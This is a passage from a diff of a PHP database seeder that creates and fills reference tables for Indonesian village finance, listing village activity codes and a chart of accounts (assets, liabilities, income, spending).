Kelautan dan Perikanan', + ], + [ + 'id' => 138, + 'ID_Keg' => '04.02.01.', + 'Nama_Kegiatan' => 'Peningkatan Produksi Tanaman Pangan (alat produksi/pengelolaan/penggilingan)', + ], + [ + 'id' => 139, + 'ID_Keg' => '04.02.02.', + 'Nama_Kegiatan' => 'Peningkatan Produksi Peternakan (alat produksi/pengelolaan/kandang)', + ], + [ + 'id' => 140, + 'ID_Keg' => '04.02.03.', + 'Nama_Kegiatan' => 'Penguatan Ketahanan Pangan Tingkat Desa (Lumbung Desa dll)', + ], + [ + 'id' => 141, + 'ID_Keg' => '04.02.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Saluran Irigasi Tersier/Sederhana', + ], + [ + 'id' => 142, + 'ID_Keg' => '04.02.05.', + 'Nama_Kegiatan' => 'Pelatihan/Bimtek/Pengenalan Tekonologi Tepat Guna untuk Pertanian/Peternakan', + ], + [ + 'id' => 143, + 'ID_Keg' => '04.02.06', + 'Nama_Kegiatan' => 'Pembangunan Saluran Irigasi Tersier/Sederhana', + ], + [ + 'id' => 144, + 'ID_Keg' => '04.02.94', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Pertanian dan Peternakan', + ], + [ + 'id' => 145, + 'ID_Keg' => '04.03.01.', + 'Nama_Kegiatan' => 'Peningkatan Kapasitas Kepala Desa', + ], + [ + 'id' => 146, + 'ID_Keg' => '04.03.02.', + 'Nama_Kegiatan' => 'Peningkatan Kapatitas Perangkat Desa', + ], + [ + 'id' => 147, + 'ID_Keg' => '04.03.03.', + 'Nama_Kegiatan' => 'Peningkatan Kapasitas BPD', + ], + [ + 'id' => 148, + 'ID_Keg' => '04.03.90', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Peningkatan Kapasitas Aparatur Desa', + ], + [ + 'id' => 149, + 'ID_Keg' => '04.04.01.', + 'Nama_Kegiatan' => 'Pelatihan dan Penyuluhan Pemberdayaan Perempuan', + ], + [ + 'id' => 150, + 'ID_Keg' => '04.04.02.', + 'Nama_Kegiatan' => 'Pelatihan dan Penyuluhan Perlindungan Anak', + ], + [ + 'id' => 151, + 'ID_Keg' => '04.04.03.', + 'Nama_Kegiatan' => 'Pelatihan dan Penguatan Penyandang Difable (Penyandang Disabilitas)', + ], + [ + 'id' => 152, + 'ID_Keg' => '04.04.94', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Pemberdayaan Perempuan, Perlindungan Anak dan Keluarga', + ], + [ + 'id' => 153, + 'ID_Keg' => '04.05.01.', + 'Nama_Kegiatan' => 'Pelatihan Manajemen Koperasi/KUD/UMKM', + ], + [ + 'id' => 154, + 'ID_Keg' => '04.05.02.', + 'Nama_Kegiatan' => 'Pengembangan Sarana Prasarana Usaha Mikro, Kecil, Menengah dan Koperasi', + ], + [ + 'id' => 155, + 'ID_Keg' => '04.05.03.', + 'Nama_Kegiatan' => 'Pengadaan Teknologi Tepat Guna Untuk Pengembangan Ekonomi Pedesaan Non Pertanian', + ], + [ + 'id' => 156, + 'ID_Keg' => '04.05.93', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Koperasi, Usaha Micro Kecil dan Menengah (UMKM)', + ], + [ + 'id' => 157, + 'ID_Keg' => '04.06.01.', + 'Nama_Kegiatan' => 'Pembentukan BUM Desa (Persiapan dan Pembentukan Awal BUMDesa)', + ], + [ + 'id' => 158, + 'ID_Keg' => '04.06.02.', + 'Nama_Kegiatan' => 'Pelatihan Pengelolaan BUM Desa (Pelatihan yg dilaksanakan oleh Pemdes)', + ], + [ + 'id' => 159, + 'ID_Keg' => '04.06.92', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Dukungan Penanaman Modal', + ], + [ + 'id' => 160, + 'ID_Keg' => '04.07.01.', + 'Nama_Kegiatan' => 'Pemeliharaan Pasar Desa/Kios Milik Desa', + ], + [ + 'id' => 161, + 'ID_Keg' => '04.07.02.', + 'Nama_Kegiatan' => 'Pembangunan/Rehab Pasar Desa/Kios Milik Desa', + ], + [ + 'id' => 162, + 'ID_Keg' => '04.07.03.', + 'Nama_Kegiatan' => 'Pengembangan Industri Kecil Tingkat Desa', + ], + [ + 'id' => 163, + 'ID_Keg' => '04.07.04.', + 'Nama_Kegiatan' => 'Pembentukan/Fasilitasi/Pelatihan/Pendampingan kelompok usaha ekonomi produktif', + ], + [ + 'id' => 164, + 'ID_Keg' => '04.07.92', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Perdagangan dan Perindustrian', + ], + [ + 'id' => 165, + 'ID_Keg' => '05.01.01.', + 'Nama_Kegiatan' => 'Kegiatan Penanggulanan Bencana', + ], + [ + 'id' => 166, + 'ID_Keg' => '05.02.01.', + 'Nama_Kegiatan' => 'Penanganan Keadaan Darurat', + ], + [ + 'id' => 167, + 'ID_Keg' => '05.03.01.', + 'Nama_Kegiatan' => 'Penanganan Keadaan Mendesak', + ], + [ + 'id' => 168, + 'ID_Keg' => '01.01.90', + 'Nama_Kegiatan' => 'Penyediaan Tali Asih Kepala Desa', + ], + [ + 'id' => 169, + 'ID_Keg' => '01.01.91', + 'Nama_Kegiatan' => 'Penyediaan Tali Asih Perangkat Desa', + ], + [ + 'id' => 170, + 'ID_Keg' => '01.04.90', + 'Nama_Kegiatan' => 'Penyusunan dan Penetapan Standar Satuan Harga Desa', + ], + [ + 'id' => 171, + 'ID_Keg' => '01.04.91', + 'Nama_Kegiatan' => 'Pengisian/Penjaringan/Penyaringan Kepala Desa ', + ], + [ + 'id' => 172, + 'ID_Keg' => '01.04.92', + 'Nama_Kegiatan' => 'Pengisian/Penjaringan/Penyaringan BPD**', + ], + [ + 'id' => 173, + 'ID_Keg' => '01.04.93', + 'Nama_Kegiatan' => 'Penyelenggaraan Pemilihan Kepala Desa Antar Waktu', + ], + [ + 'id' => 174, + 'ID_Keg' => '01.04.94', + 'Nama_Kegiatan' => 'Penyelenggaraan Pengisian Perangkat Desa ', + ], + [ + 'id' => 175, + 'ID_Keg' => '01.04.95', + 'Nama_Kegiatan' => 'Penyelenggaraan Evaluasi Tingkat Perkembangan Desa ', + ], + [ + 'id' => 176, + 'ID_Keg' => '01.04.96', + 'Nama_Kegiatan' => 'Sosialisasi berbagai peraturan perundang-undangan di tingkat Desa', + ], + [ + 'id' => 177, + 'ID_Keg' => '01.05.90', + 'Nama_Kegiatan' => 'Pengadaan/Pelepasan Tanah Kas Desa**', + ], + [ + 'id' => 178, + 'ID_Keg' => '01.05.91', + 'Nama_Kegiatan' => 'Kompensasi/Ganti Rugi Lahan terdampak Pembangunan', + ], + [ + 'id' => 179, + 'ID_Keg' => '01.05.92', + 'Nama_Kegiatan' => 'Penetapan dan penegasan batas Desa', + ], + [ + 'id' => 180, + 'ID_Keg' => '01.05.93', + 'Nama_Kegiatan' => 'Penyusunan tata ruang Desa dan peta Desa', + ], + [ + 'id' => 181, + 'ID_Keg' => '02.01.90', + 'Nama_Kegiatan' => 'Pengelolaan dan Pembinaan Anak Sekolah Melalui Pemberian Makanan Tambahan Anak Sekolah (PMTAS)', + ], + [ + 'id' => 182, + 'ID_Keg' => '02.01.91', + 'Nama_Kegiatan' => 'Dukungan Sarana Prasana Pendidikan PAUD/TK/TPA/TKA/TPQ/Madrasah Non-Formal Bukan Milik Desa (dalam bentuk barang)', + ], + [ + 'id' => 183, + 'ID_Keg' => '02.02.90', + 'Nama_Kegiatan' => 'Pengadaan/pembangunan/pengembangan/ pemeliharaan Sarana dan Prasarana Kesehatan/ Air Bersih /sanitasi/kebersihan lingkungan/jambanisasi/mandi, cuci, kakus (MCK) **', + ], + [ + 'id' => 184, + 'ID_Keg' => '02.02.91', + 'Nama_Kegiatan' => 'Pemantauan dan Pencegahan Penyalahgunaan Narkoba dan Zat Adiktif Di Desa', + ], + [ + 'id' => 185, + 'ID_Keg' => '02.02.92', + 'Nama_Kegiatan' => 'Fasilitasi Pelayanan Pencegahan dan Penanggulangan Penyakit Endemik, Menular dan Tidak Menular', + ], + [ + 'id' => 186, + 'ID_Keg' => '02.02.93', + 'Nama_Kegiatan' => 'Pembangunan/Pengelolaan/Pemanfaatan Tanaman Obat Keluarga/Apotek Desa', + ], + [ + 'id' => 187, + 'ID_Keg' => '02.02.94', + 'Nama_Kegiatan' => 'Fasilitasi Kegiatan Palang Merah Indonesia (PMI)', + ], + [ + 'id' => 188, + 'ID_Keg' => '02.02.95', + 'Nama_Kegiatan' => 'Pengadaan/pembangunan/pengembangan/ pemeliharaan sarana prasarana alat bantu penyandang disabilitas/panti rehabilitasi penyandang disabilitas**', + ], + [ + 'id' => 189, + 'ID_Keg' => '02.02.96', + 'Nama_Kegiatan' => 'Fasilitasi Pelayanan Kesehatan Bagi Masyarakat Miskin', + ], + [ + 'id' => 190, + 'ID_Keg' => '02.02.97', + 'Nama_Kegiatan' => 'Penyelenggaraan Promosi Kesehatan dan Gerakan Hidup Bersih dan Sehat', + ], + [ + 'id' => 191, + 'ID_Keg' => '02.02.98', + 'Nama_Kegiatan' => 'Pengadaan/pembangunan/pengembangan/pemeliharaan sarana prasarana mobil/kapal motor untuk ambulance Desa**', + ], + [ + 'id' => 192, + 'ID_Keg' => '02.02.99', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Kesehatan', + ], + [ + 'id' => 193, + 'ID_Keg' => '02.03.90', + 'Nama_Kegiatan' => 'Pembangunan/pemeliharaan jalan/talud pengaman tebing/saluran irigasi/energi baru dan terbarukan/ pembangkit listrik tenaga mikrohidro/lapangan Desa / taman Desa/lingkungan permukiman masyarakat Desa**', + ], + [ + 'id' => 194, + 'ID_Keg' => '02.03.91', + 'Nama_Kegiatan' => 'Pembangunan/Pengadaan/pengembangan/pemeliharaan sarana dan prasarana Jasa dan Industri Kecil/industri rumah tangga/mesin jahit/peralatan bengkel kendaraan bermotor/mesin bubut untuk mebeler; /pemasara', + ], + [ + 'id' => 195, + 'ID_Keg' => '02.03.92', + 'Nama_Kegiatan' => 'Pembangunan kolam ikan dan pembenihan ikan/perahu penangkap ikan tempat pelelangan ikan/tempat pendaratan kapal penangkap ikan/cold storage (gudang pendingin)/gudang penyimpan sarana produksi (saprota', + ], + [ + 'id' => 196, + 'ID_Keg' => '02.03.93', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Pemeliharaan/Peningkatan Sarana Prasarana Olah Raga/ Gedung Serba Guna', + ], + [ + 'id' => 197, + 'ID_Keg' => '02.03.94', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Gedung/Prasarana Balai Desa/Balai Kemasyarakatan', + ], + [ + 'id' => 198, + 'ID_Keg' => '02.03.95', + 'Nama_Kegiatan' => 'Pembangunan/pengembangan/pemeliharaan/pengelolaan sarana dan prasarana pasar Desa**', + ], + [ + 'id' => 199, + 'ID_Keg' => '02.03.96', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Pekerjaan Umum dan Tata Ruang', + ], + [ + 'id' => 200, + 'ID_Keg' => '02.04.91', + 'Nama_Kegiatan' => 'Penyediaan Kendaraan Pengangkut Sampah, Gerobak Sampah, Tong Sampah, Mesin Pengolah Sampah', + ], + [ + 'id' => 201, + 'ID_Keg' => '02.04.92', + 'Nama_Kegiatan' => 'Pemeliharaan Jaringan Listrik/ Penerangan Desa', + ], + [ + 'id' => 202, + 'ID_Keg' => '02.04.93', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Jaringan Listrik/ Penerangan Desa', + ], + [ + 'id' => 203, + 'ID_Keg' => '02.05.90', + 'Nama_Kegiatan' => 'Pembuatan terasering/pembersihan daerah aliran sungai/plesengan sungai**', + ], + [ + 'id' => 204, + 'ID_Keg' => '02.05.91', + 'Nama_Kegiatan' => 'Penanganan kebakaran hutan dan lahan/pencegahan abrasi pantai', + ], + [ + 'id' => 205, + 'ID_Keg' => '02.06.90', + 'Nama_Kegiatan' => 'Pembangunan/Pengembangan/pemeliharaan sarana dan prasarana transportasi/informasi/ komunikasi/terminal Desa', + ], + [ + 'id' => 206, + 'ID_Keg' => '02.06.91', + 'Nama_Kegiatan' => 'Pengadaan/pembangunan/pengembangan/pemeliharaan jaringan internet untuk warga Desa/website Desa/peralatan pengeras suara (loudspeaker)/telepon umum/ radio Single Side Band (SSB) ', + ], + [ + 'id' => 207, + 'ID_Keg' => '02.07.90', + 'Nama_Kegiatan' => 'Pengembangan dan Pengelolaan Sarana dan Prasarana Energi Alternatif tingkat Desa', + ], + [ + 'id' => 208, + 'ID_Keg' => '02.07.91', + 'Nama_Kegiatan' => 'Pembangunan sarana dan prasarana Teknologi Tepat Guna', + ], + [ + 'id' => 209, + 'ID_Keg' => '02.07.92', + 'Nama_Kegiatan' => 'Pengadaan/pemanfaatan/pemeliharaan penggilingan padi/peraut kelapa/ penepung biji-bijian/pencacah pakan terna/sangrai/ pemotong/pengiris buah dan sayuran/pompa air/traktor mini**', + ], + [ + 'id' => 210, + 'ID_Keg' => '02.07.94', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Energi dan Sumber Daya Mineral', + ], + [ + 'id' => 211, + 'ID_Keg' => '02.08.90', + 'Nama_Kegiatan' => 'Pengadaan/pembangunan/pengembangan/pemeliharaan sarana dan prasarana Desa wisata/ pondok wisata/panggung hiburan/ kios cenderamata/kios warung makan/wahana permainan anak/wahana permainan outbound/ ta', + ], + [ + 'id' => 212, + 'ID_Keg' => '03.01.90', + 'Nama_Kegiatan' => 'Dukungan Pembinaan Keamanan, Ketertiban, dan Ketentraman Wilayah dan Masyarakat Desa (Seragam dan Op Linmas, BABINSA, BABINKAMTIBMAS)', + ], + [ + 'id' => 213, + 'ID_Keg' => '03.01.91', + 'Nama_Kegiatan' => 'Pembentukan tim keamanan Desa', + ], + [ + 'id' => 214, + 'ID_Keg' => '03.02.90', + 'Nama_Kegiatan' => 'Melestarikan Dan Mengembangkan Gotong Royong Masyarakat Desa (BBGRM)', + ], + [ + 'id' => 215, + 'ID_Keg' => '03.02.91', + 'Nama_Kegiatan' => 'Dukungan Pengelolaan Sarana dan Prasarana Kebudayaan/Rumah Adat/Keagamaan di Desa **', + ], + [ + 'id' => 216, + 'ID_Keg' => '03.02.92', + 'Nama_Kegiatan' => 'Penyelenggaraan Sedekah Bumi/Sedekah Laut/Apitan', + ], + [ + 'id' => 217, + 'ID_Keg' => '03.02.93', + 'Nama_Kegiatan' => 'Partisipasi Perayaan Hari Besar Nasional lainnya', + ], + [ + 'id' => 218, + 'ID_Keg' => '03.02.94', + 'Nama_Kegiatan' => 'Pembinaan kerukunan umat beragama', + ], + [ + 'id' => 219, + 'ID_Keg' => '03.04.90', + 'Nama_Kegiatan' => 'Pembentukan/Pembinaan Lembaga Kemasyarakatan', + ], + [ + 'id' => 220, + 'ID_Keg' => '03.04.91', + 'Nama_Kegiatan' => 'Pembentukan dan Dukungan Fasilitasi Kader Pembangunan dan Pemberdayaan Masyarakat', + ], + [ + 'id' => 221, + 'ID_Keg' => '04.01.90', + 'Nama_Kegiatan' => 'Pelaksanaan Penanggulangan Hama dan Penyakit Secara Terpadu', + ], + [ + 'id' => 222, + 'ID_Keg' => '04.01.91', + 'Nama_Kegiatan' => 'Pengelolaan Balai Benih Ikan Milik Desa', + ], + [ + 'id' => 223, + 'ID_Keg' => '04.01.92', + 'Nama_Kegiatan' => 'Pemeliharaan Tambatan Perahu/Tempat Pelelangan Ikan (TPI) Milik Desa**', + ], + [ + 'id' => 224, + 'ID_Keg' => '04.01.93', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Tambatan Perahu/Tempat Pelelangan Ikan (TPI) Milik Desa**', + ], + [ + 'id' => 225, + 'ID_Keg' => '04.02.90', + 'Nama_Kegiatan' => 'Peningkatan Produksi Tanaman Perkebunan (Alat Produksi dan pengolahan perkebunan)', + ], + [ + 'id' => 226, + 'ID_Keg' => '04.02.91', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Balai Pertemuan Kelompok Tani', + ], + [ + 'id' => 227, + 'ID_Keg' => '04.02.92', + 'Nama_Kegiatan' => 'Pembangunan/Peningkatan Irigasi Tersier', + ], + [ + 'id' => 228, + 'ID_Keg' => '04.02.93', + 'Nama_Kegiatan' => 'Pelatihan kelompok tani', + ], + [ + 'id' => 229, + 'ID_Keg' => '04.04.90', + 'Nama_Kegiatan' => 'Fasiilitasi Penguatan Kelembagaan Pengarusutamaan Gender dan Anak', + ], + [ + 'id' => 230, + 'ID_Keg' => '04.04.92', + 'Nama_Kegiatan' => 'Peningkatan Kapasitas Kelompok Pemerhati dan Perlindungan Anak', + ], + [ + 'id' => 231, + 'ID_Keg' => '04.04.93', + 'Nama_Kegiatan' => 'Fasilitasi terhadap kelompok-kelompok rentan, kelompok masyarakat miskin, perempuan, anak dan difabel/ Pemberian bantuan sosial/pemberian santunan kepada keluarga fakir miskin/analisis kemiskinan seca', + ], + [ + 'id' => 232, + 'ID_Keg' => '04.04.91', + 'Nama_Kegiatan' => 'Fasilitasi Upaya Perlindungan Perempuan dan Anak Terhadap Tindakan Kekerasan', + ], + [ + 'id' => 233, + 'ID_Keg' => '04.05.90', + 'Nama_Kegiatan' => 'Pengembangan/ Promosi Produk Unggulan Desa', + ], + [ + 'id' => 234, + 'ID_Keg' => '04.05.91', + 'Nama_Kegiatan' => 'Pembentukan dan pengembangan usaha ekonomi masyarakat dan/atau koperasi', + ], + [ + 'id' => 235, + 'ID_Keg' => '04.05.92', + 'Nama_Kegiatan' => 'Bantuan sarana produksi, distribusi dan pemasaran untuk usaha ekonomi masyarakat**', + ], + [ + 'id' => 236, + 'ID_Keg' => '04.06.90', + 'Nama_Kegiatan' => 'Pembangunan Kantor BUM Desa/Sarana Prasarana BUM Desa (menjadi aset desa)**', + ], + [ + 'id' => 237, + 'ID_Keg' => '04.06.91', + 'Nama_Kegiatan' => 'Pelaksanaan Audit Keuangan BUM Desa, Evaluasi Perkembangan BUM Desa ', + ], + [ + 'id' => 238, + 'ID_Keg' => '04.07.90', + 'Nama_Kegiatan' => 'Pelatihan usaha ekonomi dan Perdagangan', + ], + [ + 'id' => 239, + 'ID_Keg' => '04.07.91', + 'Nama_Kegiatan' => 'Sosialisasi Teknologi Tepat Guna/Posyantekdes dan/atau antar Desa/percontohan Teknologi Tepat Guna untuk produksi pertanian/pengembangan sumber energi perdesaan/pengemban', + ], + ]); + + DB::statement(' + CREATE TABLE `keuangan_manual_ref_rek1` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Akun` varchar(100) NOT NULL, + `Nama_Akun` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('keuangan_manual_ref_rek1')->insert([ + ['id' => 1, 'Akun' => '1.', 'Nama_Akun' => 'ASET'], + ['id' => 2, 'Akun' => '2.', 'Nama_Akun' => 'KEWAJIBAN'], + ['id' => 3, 'Akun' => '3.', 'Nama_Akun' => 'EKUITAS'], + ['id' => 4, 'Akun' => '4.', 'Nama_Akun' => 'PENDAPATAN'], + ['id' => 5, 'Akun' => '5.', 'Nama_Akun' => 'BELANJA'], + ['id' => 6, 'Akun' => '6.', 'Nama_Akun' => 'PEMBIAYAAN'], + ['id' => 7, 'Akun' => '7.', 'Nama_Akun' => 'NON ANGGARAN'], + ]); + + DB::statement(' + CREATE TABLE `keuangan_manual_ref_rek2` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Akun` varchar(100) NOT NULL, + `Kelompok` varchar(100) NOT NULL, + `Nama_Kelompok` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('keuangan_manual_ref_rek2')->insert([ + [ + 'id' => 1, + 'Akun' => '1.', + 'Kelompok' => '1.1.', + 'Nama_Kelompok' => 'Aset Lancar', + ], + [ + 'id' => 2, + 'Akun' => '1.', + 'Kelompok' => '1.2.', + 'Nama_Kelompok' => 'Investasi', + ], + [ + 'id' => 3, + 'Akun' => '1.', + 'Kelompok' => '1.3.', + 'Nama_Kelompok' => 'Aset Tetap', + ], + [ + 'id' => 4, + 'Akun' => '1.', + 'Kelompok' => '1.4.', + 'Nama_Kelompok' => 'Dana Cadangan', + ], + [ + 'id' => 5, + 'Akun' => '1.', + 'Kelompok' => '1.5.', + 'Nama_Kelompok' => 'Aset Tidak Lancar Lainnya', + ], + [ + 'id' => 6, + 'Akun' => '2.', + 'Kelompok' => '2.1.', + 'Nama_Kelompok' => 'Kewajiban Jangka Pendek', + ], + [ + 'id' => 7, + 'Akun' => '3.', + 'Kelompok' => '3.1.', + 'Nama_Kelompok' => 'Ekuitas', + ], + [ + 'id' => 8, + 'Akun' => '4.', + 'Kelompok' => '4.1.', + 'Nama_Kelompok' => 'Pendapatan Asli Desa', + ], + [ + 'id' => 9, + 'Akun' => '4.', + 'Kelompok' => '4.2.', + 'Nama_Kelompok' => 'Pendapatan Transfer', + ], + [ + 'id' => 10, + 'Akun' => '4.', + 'Kelompok' => '4.3.', + 'Nama_Kelompok' => 'Pendapatan Lain-lain', + ], + [ + 'id' => 11, + 'Akun' => '5.', + 'Kelompok' => '5.1.', + 'Nama_Kelompok' => 'Belanja Pegawai', + ], + [ + 'id' => 12, + 'Akun' => '5.', + 'Kelompok' => '5.2.', + 'Nama_Kelompok' => 'Belanja Barang dan Jasa', + ], + [ + 'id' => 13, + 'Akun' => '5.', + 'Kelompok' => '5.3.', + 'Nama_Kelompok' => 'Belanja Modal', + ], + [ + 'id' => 14, + 'Akun' => '5.', + 'Kelompok' => '5.4.', + 'Nama_Kelompok' => 'Belanja Tidak Terduga', + ], + [ + 'id' => 15, + 'Akun' => '6.', + 'Kelompok' => '6.1.', + 'Nama_Kelompok' => 'Penerimaan Pembiayaan', + ], + [ + 'id' => 16, + 'Akun' => '6.', + 'Kelompok' => '6.2.', + 'Nama_Kelompok' => 'Pengeluaran Pembiayaan', + ], + [ + 'id' => 17, + 'Akun' => '7.', + 'Kelompok' => '7.1.', + 'Nama_Kelompok' => 'Perhitungan Fihak Ketiga', + ], + ]); + + DB::statement(' + CREATE TABLE `keuangan_manual_ref_rek3` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Kelompok` varchar(100) NOT NULL, + `Jenis` varchar(100) NOT NULL, + `Nama_Jenis` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('keuangan_manual_ref_rek3')->insert([ + [ + 'id' => 1, + 'Kelompok' => '1.1.', + 'Jenis' => '1.1.1.', + 'Nama_Jenis' => 'Kas dan Bank', + ], + [ + 'id' => 2, + 'Kelompok' => '1.1.', + 'Jenis' => '1.1.2.', + 'Nama_Jenis' => 'Piutang', + ], + [ + 'id' => 3, + 'Kelompok' => '1.1.', + 'Jenis' => '1.1.3.', + 'Nama_Jenis' => 'Persediaan', + ], + [ + 'id' => 4, + 'Kelompok' => '1.2.', + 'Jenis' => '1.2.1.', + 'Nama_Jenis' => 'Penyertaan Modal Pemerintah Desa', + ], + [ + 'id' => 5, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.1.', + 'Nama_Jenis' => 'Tanah', + ], + [ + 'id' => 6, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.2.', + 'Nama_Jenis' => 'Peralatan dan Mesin', + ], + [ + 'id' => 7, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.3.', + 'Nama_Jenis' => 'Gedung dan Bangunan', + ], + [ + 'id' => 8, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.4.', + 'Nama_Jenis' => 'Jalan, Irigasi dan Jaringan', + ], + [ + 'id' => 9, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.5.', + 'Nama_Jenis' => 'Aset Tetap Lainnya', + ], + [ + 'id' => 10, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.6.', + 'Nama_Jenis' => 'Konstruksi Dalam Pengerjaan', + ], + [ + 'id' => 11, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.7.', + 'Nama_Jenis' => 'Aset Tak Berwujud', + ], + [ + 'id' => 12, + 'Kelompok' => '1.3.', + 'Jenis' => '1.3.8.', + 'Nama_Jenis' => 'Akumulasi Penyusutan Aktiva Tetap', + ], + [ + 'id' => 13, + 'Kelompok' => '1.4.', + 'Jenis' => '1.4.1.', + 'Nama_Jenis' => 'Dana Cadangan', + ], + [ + 'id' => 14, + 'Kelompok' => '1.5.', + 'Jenis' => '1.5.1.', + 'Nama_Jenis' => 'Tagihan Piutang Penjualan Angsuran', + ], + [ + 'id' => 15, + 'Kelompok' => '1.5.', + 'Jenis' => '1.5.2.', + 'Nama_Jenis' => 'Tagihan Tuntutan Ganti Kerugian Daerah', + ], + [ + 'id' => 16, + 'Kelompok' => '1.5.', + 'Jenis' => '1.5.3.', + 'Nama_Jenis' => 'Kemitraan dengan Pihak Ketiga', + ], + [ + 'id' => 17, + 'Kelompok' => '1.5.', + 'Jenis' => '1.5.4.', + 'Nama_Jenis' => 'Aktiva Tidak Berwujud', + ], + [ + 'id' => 18, + 'Kelompok' => '1.5.', + 'Jenis' => '1.5.5.', + 'Nama_Jenis' => 'Aset Lain-lain', + ], + [ + 'id' => 19, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.1.', + 'Nama_Jenis' => 'Hutang Perhitungan Pihak Ketiga', + ], + [ + 'id' => 20, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.2.', + 'Nama_Jenis' => 'Hutang Bunga', + ], + [ + 'id' => 21, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.3.', + 'Nama_Jenis' => 'Hutang Pajak', + ], + [ + 'id' => 22, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.4.', + 'Nama_Jenis' => 'Pendapatan Diterima Dimuka', + ], + [ + 'id' => 23, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.5.', + 'Nama_Jenis' => 'Bagian Lancar Hutang Jangka Panjang', + ], + [ + 'id' => 24, + 'Kelompok' => '2.1.', + 'Jenis' => '2.1.6.', + 'Nama_Jenis' => 'Hutang Jangka Pendek Lainnya', + ], + [ + 'id' => 25, + 'Kelompok' => '3.1.', + 'Jenis' => '3.1.1.', + 'Nama_Jenis' => 'Ekuitas', + ], + [ + 'id' => 26, + 'Kelompok' => '3.1.', + 'Jenis' => '3.1.2.', + 'Nama_Jenis' => 'Ekuitas SAL', + ], + [ + 'id' => 27, + 'Kelompok' => '4.1.', + 'Jenis' => '4.1.1.', + 'Nama_Jenis' => 'Hasil Usaha Desa', + ], + [ + 'id' => 28, + 'Kelompok' => '4.1.', + 'Jenis' => '4.1.2.', + 'Nama_Jenis' => 'Hasil Aset Desa', + ], + [ + 'id' => 29, + 'Kelompok' => '4.1.', + 'Jenis' => '4.1.3.', + 'Nama_Jenis' => 'Swadaya, Partisipasi dan Gotong Royong', + ], + [ + 'id' => 30, + 'Kelompok' => '4.1.', + 'Jenis' => '4.1.4.', + 'Nama_Jenis' => 'Lain-Lain Pendapatan Asli Desa', + ], + [ + 'id' => 31, + 'Kelompok' => '4.2.', + 'Jenis' => '4.2.1.', + 'Nama_Jenis' => 'Dana Desa', + ], + [ + 'id' => 32, + 'Kelompok' => '4.2.', + 'Jenis' => '4.2.2.', + 'Nama_Jenis' => 'Bagi Hasil Pajak dan Retribusi', + ], + [ + 'id' => 33, + 'Kelompok' => '4.2.', + 'Jenis' => '4.2.3.', + 'Nama_Jenis' => 'Alokasi Dana Desa', + ], + [ + 'id' => 34, + 'Kelompok' => '4.2.', + 'Jenis' => '4.2.4.', + 'Nama_Jenis' => 'Bantuan Keuangan Provinsi', + ], + [ + 'id' => 35, + 'Kelompok' => '4.2.', + 'Jenis' => '4.2.5.', + 'Nama_Jenis' => 'Bantuan Keuangan Kabupaten/Kota', + ], + [ + 'id' => 36, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.1.', + 'Nama_Jenis' => 'Penerimaan dari Hasil Kerjasama Antar Desa', + ], + [ + 'id' => 37, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.2.', + 'Nama_Jenis' => 'Penerimaan dari Hasil Kerjasama dengan Pihak Ketiga', + ], + [ + 'id' => 38, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.3.', + 'Nama_Jenis' => 'Penerimaan Bantuan dari Perusahaan yang Berlokasi di Desa', + ], + [ + 'id' => 39, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.4.', + 'Nama_Jenis' => 'Hibah dan Sumbangan dari Pihak Ketiga', + ], + [ + 'id' => 40, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.5.', + 'Nama_Jenis' => 'Koreksi Kesalahan Belanja Tahun-tahun Sebelumnya', + ], + [ + 'id' => 41, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.6.', + 'Nama_Jenis' => 'Bunga Bank', + ], + [ + 'id' => 42, + 'Kelompok' => '4.3.', + 'Jenis' => '4.3.9.', + 'Nama_Jenis' => 'Lain-lain Pendapatan Desa Yang Sah', + ], + [ + 'id' => 43, + 'Kelompok' => '5.1.', + 'Jenis' => '5.1.1.', + 'Nama_Jenis' => 'Penghasilan Tetap dan Tunjangan Kepala Desa', + ], + [ + 'id' => 44, + 'Kelompok' => '5.1.', + 'Jenis' => '5.1.2.', + 'Nama_Jenis' => 'Penghasilan Tetap dan Tunjangan Perangkat Desa', + ], + [ + 'id' => 45, + 'Kelompok' => '5.1.', + 'Jenis' => '5.1.3.', + 'Nama_Jenis' => 'Jaminan Sosial Kepala Desa dan Perangkat Desa', + ], + [ + 'id' => 46, + 'Kelompok' => '5.1.', + 'Jenis' => '5.1.4.', + 'Nama_Jenis' => 'Tunjangan BPD', + ], + [ + 'id' => 47, + 'Kelompok' => '5.2.', + 'Jenis' 